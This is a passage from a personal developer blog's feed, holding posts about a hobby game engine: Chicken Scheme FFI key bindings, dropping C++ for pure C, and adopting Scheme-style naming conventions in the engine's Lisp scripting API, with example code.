&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RIGHT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DOWN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LEFT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;down&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;p&gt;These are the basic FFI implementations that I have explored. It should be enough for most uses. The example project with working code can be found &lt;a href="https://github.com/accidentalrebel/chicken-scheme-ffi-example"&gt;on Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also, check out &lt;a href="http://wiki.call-cc.org/eggref/5/bind"&gt;the chicken-bind egg&lt;/a&gt;, it already has all of the code above conveniently in one package. If you don't need full control and just want a simple FFI solution then this is what you need.&lt;/p&gt;
&lt;p&gt;For how these FFI bindings get named consistently in the scripting API, see &lt;a href="https://www.accidentalrebel.com/following-lispy-conventions.html"&gt;Following Lispy Conventions&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="programming"/><category term="dev"/><category term="research"/><category term="code"/></entry><entry><title>#5 - Switching from C/C++ to C</title><link href="https://www.accidentalrebel.com/switching-from-c-c---to-c.html" rel="alternate"/><published>2020-05-19T17:59:00+08:00</published><updated>2020-05-19T17:59:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-19:/switching-from-c-c---to-c.html</id><summary type="html">&lt;p&gt;Dropping C++ from my custom game engine in favor of pure C, and the cross-platform bugs that surfaced when C++ features I didn't notice were being used.&lt;/p&gt;</summary><content type="html">&lt;p&gt;After the recent changes to the &lt;a href="https://www.accidentalrebel.com/following-lispy-conventions.html"&gt;lisp side of my engine&lt;/a&gt;, I took some time to review the C/C++ side. You'll notice that I have written C/C++ and that's because my codebase uses both of them. &lt;/p&gt;
&lt;p&gt;When I started my project, I initially intended for it to use just pure C, as this is the one I'm more familiar with. But over time some C++ features crept in. Features like namespacess, bools, and function overloading proved to be useful so I kept using them. Now my code uses C concepts with new nifty C++ features.&lt;/p&gt;
&lt;p&gt;Now, I could have just continued with this approach. It works, after all. But I wondered if I should just stick to C and drop C++ altogether. My thinking is that sticking with just one language would make the code simpler as I only have to use it's subset of features. I know it's not a solid reason but I figured it's better to act now while it is still early.&lt;/p&gt;
&lt;p&gt;&lt;img alt="switching-from-c-c---to-c-01" src="https://www.accidentalrebel.com/images/switching-from-c-c---to-c-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;For the most part, dropping C++ was easy. Most of the difficulty I encountered was making sure the changes worked on all three supported platforms. There was a situation when &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/commits/cglm-switch-fix"&gt;I thought I was done&lt;/a&gt; only to find it doesn't work on Mac and Windows. I had to &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/commits/cglm-switch-fix"&gt;slowly re-apply&lt;/a&gt; the changes just to see where exactly things went wrong.&lt;/p&gt;
&lt;p&gt;What's funny is that I learned that I was using a lot more C++ features than I thought. Namespaces and default arguments are some that really surprised me. I always assumed they were supported on both languages. This just proves to me that I still have a lot to learn with these languages.&lt;/p&gt;
&lt;p&gt;I also took the chance during the transition to switch from &lt;a href="https://glm.g-truc.net/0.9.9/index.html"&gt;GLM&lt;/a&gt;, an OpenGL Mathematics lirary using C++, to &lt;a href="https://github.com/recp/cglm"&gt;CGLM&lt;/a&gt; a similar library that uses C. It is claimed that the latter is more optimized and, with it being in C, is easier to integrate with my codebase.&lt;/p&gt;
&lt;p&gt;While these changes did not do much in terms of progress, I am happy that my codebase now feels tighter and more coherent. I'm hoping to work on something engine-related next.&lt;/p&gt;
&lt;p&gt;If you are interested to check out my still-under-construction game engine, you can do so &lt;a href="https://github.com/accidentalrebel/Rebel-Game-Engine"&gt;here&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="dev"/><category term="game_engine"/></entry><entry><title>#4 - Following Lispy conventions</title><link href="https://www.accidentalrebel.com/following-lispy-conventions.html" rel="alternate"/><published>2020-05-15T07:00:00+08:00</published><updated>2020-05-15T07:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-15:/following-lispy-conventions.html</id><summary type="html">&lt;p&gt;Applying Scheme naming conventions (?, !, %, *) to a game engine's scripting API and how it improved code readability with minimal effort.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="following-lispy-conventions-01" src="https://www.accidentalrebel.com/images/following-lispy-conventions-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;I was adding new Lisp functions to &lt;a href="https://github.com/accidentalrebel/Rebel-Game-Engine"&gt;my game engine&lt;/a&gt; when I noticed that I had functions that had a naming scheme that were inconsistent with others. For example, I had ones that create objects like &lt;em&gt;sprite_create&lt;/em&gt; and &lt;em&gt;shader_create&lt;/em&gt; but this one function I named &lt;em&gt;make_vec3&lt;/em&gt;. I proceeded to rename &lt;em&gt;make_vec3&lt;/em&gt; to &lt;em&gt;vec3_create&lt;/em&gt;. Not only is it consistent with other names but it made me realize that having a pattern of object_verb makes it easy to parse the function and what it does. &lt;/p&gt;
&lt;p&gt;This made me wonder if there are other ways I could improve which led me to this page &lt;a href="http://community.schemewiki.org/?variable-naming-convention"&gt;about variable naming conventions&lt;/a&gt; for Scheme. I learned that the language employs a rather effective yet simple naming convention for functions and variables. I've noticed them before but never really thought about their usefulness. &lt;/p&gt;
&lt;p&gt;For example, adding a &lt;em&gt;?&lt;/em&gt; prefix easily indicates that the function, when called, will always return a boolean value. I looked at my code and I had the function &lt;em&gt;is_key_down&lt;/em&gt;. Changing it to &lt;em&gt;key_down?&lt;/em&gt; looked weird at first but I liked how it made the function name shorter and the &lt;em&gt;?&lt;/em&gt; prefix made it easy to spot and parse.&lt;/p&gt;
&lt;p&gt;Okay, cool! What's next?&lt;/p&gt;
&lt;p&gt;Adding a &lt;em&gt;!&lt;/em&gt; indicates a function that mutates data. Most commonly used for setting a variable. I saw I had variables like &lt;em&gt;set_vec3_x&lt;/em&gt;, to which I changed to &lt;em&gt;vec3_x!&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This went on as I continue to find improvements. Here's a list of all the naming convention changes that I've made:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center;"&gt;&lt;strong&gt;The change&lt;/strong&gt;&lt;/th&gt;
&lt;th style="text-align: center;"&gt;&lt;strong&gt;From&lt;/strong&gt;&lt;/th&gt;
&lt;th style="text-align: center;"&gt;&lt;strong&gt;To&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;:&lt;/em&gt; infix for namespaces.&lt;/td&gt;
&lt;td style="text-align: center;"&gt;vec3_create&lt;/td&gt;
&lt;td style="text-align: center;"&gt;vec3:create&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;?&lt;/em&gt; postfix for boolean functions&lt;/td&gt;
&lt;td style="text-align: center;"&gt;key_down?&lt;/td&gt;
&lt;td style="text-align: center;"&gt;key:down?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;!&lt;/em&gt; postfix for destructive functions&lt;/td&gt;
&lt;td style="text-align: center;"&gt;set_camera_position&lt;/td&gt;
&lt;td style="text-align: center;"&gt;camera:position!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;%&lt;/em&gt; postfix for low level functions&lt;/td&gt;
&lt;td style="text-align: center;"&gt;free&lt;/td&gt;
&lt;td style="text-align: center;"&gt;free%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;%&lt;/em&gt; prefix and postfix for low level variables&lt;/td&gt;
&lt;td style="text-align: center;"&gt;shader-pointer&lt;/td&gt;
&lt;td style="text-align: center;"&gt;%shader-pointer%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;&lt;em&gt;*&lt;/em&gt; prefix and postfix for global variables&lt;/td&gt;
&lt;td style="text-align: center;"&gt;cube-shader&lt;/td&gt;
&lt;td style="text-align: center;"&gt;*cube-shader*&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Again, these new changes felt weird at first but I quickly became accustomed the more of these functions I changed. The code became easier to scan as there are now key characters for my eyes to easily latch onto. Something to appreciate especially with multi-level nested expressions.&lt;/p&gt;
&lt;p&gt;Here's how the code now looks like with the new functions:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MOVEMENT_SPEED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.001&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube-shader*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube-positions*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;set!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cube:create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;assets/textures&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;awesomeface.png&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;set!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube-shader*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;shader:create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shaders/simple-3d.vs&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shaders/simple.fs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;set!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube-positions*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1.25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;-1.25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;window:clear&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;main-camera&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera:main&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;current-projection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera:projection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;main-camera&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera:position&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;main-camera&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;key:up?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;current-projection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PERSPECTIVE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera:projection!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;main-camera&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ORTHOGRAPHIC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;camera:projection!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;main-camera&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PERSPECTIVE&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;key:down?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:x!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MOVEMENT_SPEED&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;key:down?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_E&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:x!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MOVEMENT_SPEED&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;key:down?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_COMMA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:z!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:z&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MOVEMENT_SPEED&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;key:down?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_O&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:z!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:z&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;camera-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MOVEMENT_SPEED&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;for-each&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;position&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;%tint%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vec3:create%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cube:draw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;position&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%tint%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;*cube-shader*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;free%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%tint%&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;*cube-positions*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;window:swap&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I also changed my C functions to reflect a &lt;em&gt;NamespaceVerb&lt;/em&gt; convention. I could have used &lt;em&gt;namespace::Verb&lt;/em&gt; but the &lt;a href="http://wiki.call-cc.org/eggref/5/bind"&gt;FFI that I use&lt;/a&gt; to communicate with C cannot parse C namespaces. So instead of &lt;em&gt;Shader::Create&lt;/em&gt;, I am left with &lt;em&gt;ShaderCreate&lt;/em&gt;. This is unfortunate, but I'm fine with it since the lisp scripting side of the engine will be the most prominently used (Plus, &lt;a href="https://www.raylib.com/examples.html"&gt;Raylib also uses this convention&lt;/a&gt; for their functions).&lt;/p&gt;
&lt;p&gt;I am happy that I was able to do these changes early. Because of this, readability of my code has increased, something I worried about when I first started implementing scripting.&lt;/p&gt;
&lt;p&gt;For the low-level FFI bindings that these conventions apply to, see &lt;a href="https://www.accidentalrebel.com/chicken-scheme-ffi-examples.html"&gt;Chicken Scheme FFI Examples&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="dev"/><category term="game_engine"/></entry><entry><title>#3 - Rebel Game Engine now works on different platforms</title><link href="https://www.accidentalrebel.com/rebel-game-engine-now-works-on-different-platforms.html" rel="alternate"/><published>2020-05-10T07:08:00+08:00</published><updated>2020-05-10T07:08:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-10:/rebel-game-engine-now-works-on-different-platforms.html</id><summary type="html">&lt;p&gt;Getting a custom C game engine to build on Linux, Windows, and macOS with one Makefile — lessons from cross-platform debugging and using Msys2 on Windows.&lt;/p&gt;</summary><content type="html">&lt;p&gt;After &lt;a href="implemented-basic-scheme-scripting-for-rebel-game-engine.md"&gt;finishing the integration&lt;/a&gt; of Chicken-scheme scripting for &lt;a href="https://github.com/accidentalrebel/Rebel-Game-Engine"&gt;my custom game engine&lt;/a&gt; I decided I wanted to tackle 